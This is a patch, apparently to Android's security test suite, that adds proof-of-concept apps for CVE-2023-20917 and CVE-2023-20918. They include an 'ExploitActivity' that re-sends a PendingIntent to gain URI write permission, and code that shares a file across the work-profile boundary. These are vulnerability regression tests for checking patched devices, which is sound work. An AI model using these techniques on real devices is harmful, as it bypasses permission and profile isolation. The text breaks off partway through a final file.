* you may not use this file except in compliance with the License.
@@ -20,7 +20,7 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2023-20917",
defaults: [
"cts_support_defaults",
],
@@ -32,6 +32,8 @@
"androidx.test.core",
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
+ // including this to use androidx.core.content.FileProvider
+ "androidx.legacy_legacy-support-v4",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/AndroidManifest.xml
new file mode 100644
index 0000000..9d2137e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/AndroidManifest.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20917">
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+ <application
+ android:label="CVE_2023_20917"
+ android:testOnly="true">
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.SEND" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:mimeType="*/*" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".SecondPocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.SEND" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:mimeType="*/*" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".ThirdPocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.SEND" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:mimeType="*/*" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".WorkProfileActivity"/>
+ <provider android:name="androidx.core.content.FileProvider"
+ android:authorities="authority_CVE_2023_20917_test"
+ android:grantUriPermissions="true">
+ <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_policies" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20917" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/values/strings.xml
new file mode 100644
index 0000000..7971788
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="broadcastAction">CVE_2023_20917_action</string>
+ <string name="chooserMessage">choose one</string>
+ <string name="contentPanelId">android:id/contentPanel</string>
+ <string name="contentUri">content://authority_CVE_2023_20917_test/file_path/poc.txt</string>
+ <string name="cveId">CVE_2023_20917</string>
+ <string name="setProfileOwner">dpm set-profile-owner --user %1$s %2$s</string>
+ <string name="testFailMessage">Vulnerable to b/242605257</string>
+ <string name="workProfileName">TestWork</string>
+ <string name="workString">Work</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/device_policies.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/device_policies.xml
new file mode 100644
index 0000000..49b8269
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/device_policies.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/file_paths.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/file_paths.xml
new file mode 100644
index 0000000..339dbd0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/res/xml/file_paths.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<paths>
+ <files-path name="file_path" path="./" />
+</paths>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/DeviceTest.java
new file mode 100644
index 0000000..8bebad0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/DeviceTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20917;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.UserInfo;
+import android.net.Uri;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testCVE_2023_20917() {
+ UiAutomation uiAutomation = null;
+ try {
+ final int waitMS = 5000;
+ Instrumentation instrumentation = getInstrumentation();
+ UiDevice device = UiDevice.getInstance(instrumentation);
+ Context context = instrumentation.getTargetContext();
+ uiAutomation = instrumentation.getUiAutomation();
+ Semaphore broadcastReceived = new Semaphore(0);
+
+ // Register a broadcast receiver to receive broadcast from PocActivity indicating
+ // presence of vulnerability
+ BroadcastReceiver broadcastReceiver =
+ new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ if (intent.getAction()
+ .equals(context.getString(R.string.broadcastAction))) {
+ broadcastReceived.release();
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ };
+
+ UserHandle workUserHandle = null;
+ uiAutomation.adoptShellPermissionIdentity();
+ final List<UserInfo> list = context.getSystemService(UserManager.class).getUsers();
+ for (UserInfo info : list) {
+ if (info.toString().contains(context.getString(R.string.workProfileName))) {
+ workUserHandle = info.getUserHandle();
+ break;
+ }
+ }
+ assumeTrue(workUserHandle != null);
+
+ context.startActivityAsUser(
+ new Intent(context, WorkProfileActivity.class)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+ workUserHandle);
+
+ context.registerReceiver(
+ broadcastReceiver,
+ new IntentFilter(context.getString(R.string.broadcastAction)));
+
+ final Intent intent = new Intent(Intent.ACTION_SEND);
+ intent.setData(Uri.parse(context.getString(R.string.contentUri)));
+ intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ Intent chooserIntent =
+ Intent.createChooser(intent, context.getString(R.string.chooserMessage));
+ chooserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(chooserIntent);
+
+ Pattern workPattern =
+ Pattern.compile(
+ context.getString(R.string.workString), Pattern.CASE_INSENSITIVE);
+ assumeTrue(device.wait(Until.hasObject(By.text(workPattern)), waitMS));
+ UiObject2 workProfile = device.findObject(By.text(workPattern));
+ workProfile.click();
+ assumeTrue(workProfile.isSelected());
+
+ UiScrollable uiScrollable =
+ new UiScrollable(
+ new UiSelector()
+ .resourceId(context.getString(R.string.contentPanelId)));
+ uiScrollable.setAsVerticalList();
+ uiScrollable.scrollForward();
+ uiScrollable.scrollTextIntoView(context.getString(R.string.cveId));
+
+ // In the chooser activity UI, we need to select the 'CVE_2023_20917' App
+ // and not the individual activity that we have defined. Therefore, selecting
+ // the last instance
+ assumeTrue(
+ device.wait(
+ Until.hasObject(By.text(context.getString(R.string.cveId))), waitMS));
+ List<UiObject2> objects =
+ device.findObjects(By.text(context.getString(R.string.cveId)));
+ objects.get(objects.size() - 1).click();
+
+ // Whichever activity is at the bottom of the stack will suffer from the bug.
+ // Therefore, we are selecting the last instance in the stack.
+ assumeTrue(
+ device.wait(
+ Until.hasObject(By.text(context.getString(R.string.cveId))), waitMS));
+ List<UiObject2> objectsList =
+ device.findObjects(By.text(context.getString(R.string.cveId)));
+ objectsList.get(objectsList.size() - 1).click();
+
+ assertFalse(
+ context.getString(R.string.testFailMessage),
+ broadcastReceived.tryAcquire(waitMS, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ uiAutomation.dropShellPermissionIdentity();
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocActivity.java
new file mode 100644
index 0000000..c4116ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20917;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstance) {
+ try {
+ super.onCreate(savedInstance);
+ if (getIntent().getData().getUserInfo() == null) {
+ // If the userInfo is null, this indicates presence of vulnerability
+ // so broadcasting it to DeviceTest.
+ sendBroadcastAsUser(
+ new Intent(getString(R.string.broadcastAction)), UserHandle.SYSTEM);
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocDeviceAdminReceiver.java
similarity index 72%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocDeviceAdminReceiver.java
index 1a335c7..f874d29 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/PocDeviceAdminReceiver.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,9 +14,8 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2023_20917;
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
-public class PocActivity extends Activity {
-}
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/SecondPocActivity.java
new file mode 100644
index 0000000..cb80dba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/SecondPocActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20917;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+public class SecondPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstance) {
+ try {
+ super.onCreate(savedInstance);
+ if (getIntent().getData().getUserInfo() == null) {
+ // If the userInfo is null, this indicates presence of vulnerability
+ // so broadcasting it to DeviceTest.
+ sendBroadcastAsUser(
+ new Intent(getString(R.string.broadcastAction)), UserHandle.SYSTEM);
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/ThirdPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/ThirdPocActivity.java
new file mode 100644
index 0000000..43059ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/ThirdPocActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20917;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+public class ThirdPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstance) {
+ try {
+ super.onCreate(savedInstance);
+ if (getIntent().getData().getUserInfo() == null) {
+ // If the userInfo is null, this indicates presence of vulnerability
+ // so broadcasting it to DeviceTest.
+ sendBroadcastAsUser(
+ new Intent(getString(R.string.broadcastAction)), UserHandle.SYSTEM);
+ }
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/WorkProfileActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/WorkProfileActivity.java
new file mode 100644
index 0000000..52dac7d2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20917/src/android/security/cts/CVE_2023_20917/WorkProfileActivity.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20917;
+
+import static android.os.UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.Bundle;
+
+public class WorkProfileActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstance) {
+ try {
+ super.onCreate(savedInstance);
+ DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+ // We need to remove the restriction DISALLOW_SHARE_INTO_MANAGED_PROFILE from the work
+ // profile. It was observed that the restriction is updated only if we add and then
+ // clear it.
+ dpm.addUserRestriction(
+ new ComponentName(this, PocDeviceAdminReceiver.class),
+ DISALLOW_SHARE_INTO_MANAGED_PROFILE);
+ dpm.clearUserRestriction(
+ new ComponentName(this, PocDeviceAdminReceiver.class),
+ DISALLOW_SHARE_INTO_MANAGED_PROFILE);
+ } catch (Exception ignored) {
+ // ignore any exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
similarity index 81%
copy from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
index 09297b2..af4ad21 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/Android.bp
@@ -20,9 +20,9 @@
}
android_test_helper_app {
- name: "CVE-2022-20347",
+ name: "CVE-2023-20918-attacker",
defaults: [
- "cts_defaults",
+ "cts_support_defaults",
],
srcs: [
"src/**/*.java",
@@ -30,10 +30,6 @@
test_suites: [
"sts",
],
- static_libs: [
- "androidx.test.core",
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- ],
+ // platform_apis set to true here to access hidden method setPendingIntentLaunchFlags
platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
new file mode 100644
index 0000000..bcc3ad1
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20918_attacker">
+ <application>
+ <activity android:name=".ExploitActivity"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
new file mode 100644
index 0000000..9523eca2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="bcastActionTestAssumeFail">CVE_2023_20918_assume_fail_action</string>
+ <string name="bcastActionTestFail">CVE_2023_20918_test_fail_action</string>
+ <string name="bcastActionTestPass">CVE_2023_20918_test_pass_action</string>
+ <string name="contentUri">content://authority_CVE_2023_20918_test/file_path/poc.txt</string>
+ <string name="expActivityExploit">Got an exception in ExploitActivity with message: %1$s
+ </string>
+ <string name="keyMsgAssumeFail">msg</string>
+ <string name="keyPendingIntent">pi</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
new file mode 100644
index 0000000..1693cac
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/attacker-app/src/android/security/cts/CVE_2023_20918_attacker/ExploitActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_20918_attacker;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class ExploitActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ Intent intent = getIntent();
+ final String keyPendingIntent = getString(R.string.keyPendingIntent);
+
+ // If intent contains 'keyPendingIntent', then this activity is launched again using
+ // the custom intent that the extra 'keyPendingIntent' holds.
+ if (intent.hasExtra(keyPendingIntent)) {
+ PendingIntent activity = intent.getParcelableExtra(keyPendingIntent);
+ ActivityOptions options = ActivityOptions.makeBasic();
+ options.setPendingIntentLaunchFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+ activity.send(this, 0, null, null, null, "", options.toBundle());
+ } else if (intent.getData() != null) {
+ // Control goes in this block when the activity is launched again. Attempting to
+ // open uri data received from the intent.
+ Uri data = intent.getData();
+ getContentResolver().openOutputStream(data);
+
+ // If control reaches here, then it means that openOutputStream() did not raise an
+ // exception, this indicates that FLAG_GRANT_WRITE_URI_PERMISSION has been granted
+ // so sending a broadcast to DeviceTest with the test_fail status.
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestFail));
+ }
+ } catch (Exception e) {
+ if (e instanceof SecurityException
+ && e.getMessage().contains(getString(R.string.keyPendingIntent))) {
+ // ignoring this exception since it occurs with fix
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestPass));
+ return;
+ }
+
+ // Sending a broadcast to DeviceTest to indicate assumption failure status,
+ // since an exception was raised unrelated to the vulnerability
+ sendBroadcastToTestApp(getString(R.string.bcastActionTestAssumeFail),
+ getString(R.string.expActivityExploit, e.getMessage()));
+ }
+ }
+
+ public void sendBroadcastToTestApp(String action) {
+ sendBroadcastToTestApp(action, null);
+ }
+
+ public void sendBroadcastToTestApp(String action, String assumeFailMsg) {
+ try {
+ Intent intent = new Intent(action);
+ if (assumeFailMsg != null) {
+ intent.putExtra(getString(R.string.keyMsgAssumeFail), assumeFailMsg);
+ }
+ sendBroadcast(intent);
+ } catch (Exception ignored) {
+ // ignore the exceptions
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
similarity index 82%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
index 50acd29..a32ae6c 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/Android.bp
@@ -20,18 +20,21 @@
}
android_test_helper_app {
- name: "CVE-2021-0642",
+ name: "CVE-2023-20918-test",
defaults: [
"cts_support_defaults",
],
- srcs: ["src/**/*.java"],
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"sts",
],
static_libs: [
"androidx.test.core",
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
+ // including this to use androidx.core.content.FileProvider
+ "androidx.legacy_legacy-support-v4",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..b95b6d7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2023_20918_test">
+ <application>
+ <provider android:name="androidx.core.content.FileProvider"
+ android:authorities="authority_CVE_2023_20918_test"
+ android:grantUriPermissions="true">
+ <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
+ android:resource="@xml/file_paths" />
+ </provider>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2023_20918_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
new file mode 100644
index 0000000..40b8d361
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-20918/test-app/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="activityExploit">android.security.cts.CVE_2023_20918_attacker.ExploitActivity
+ </string>
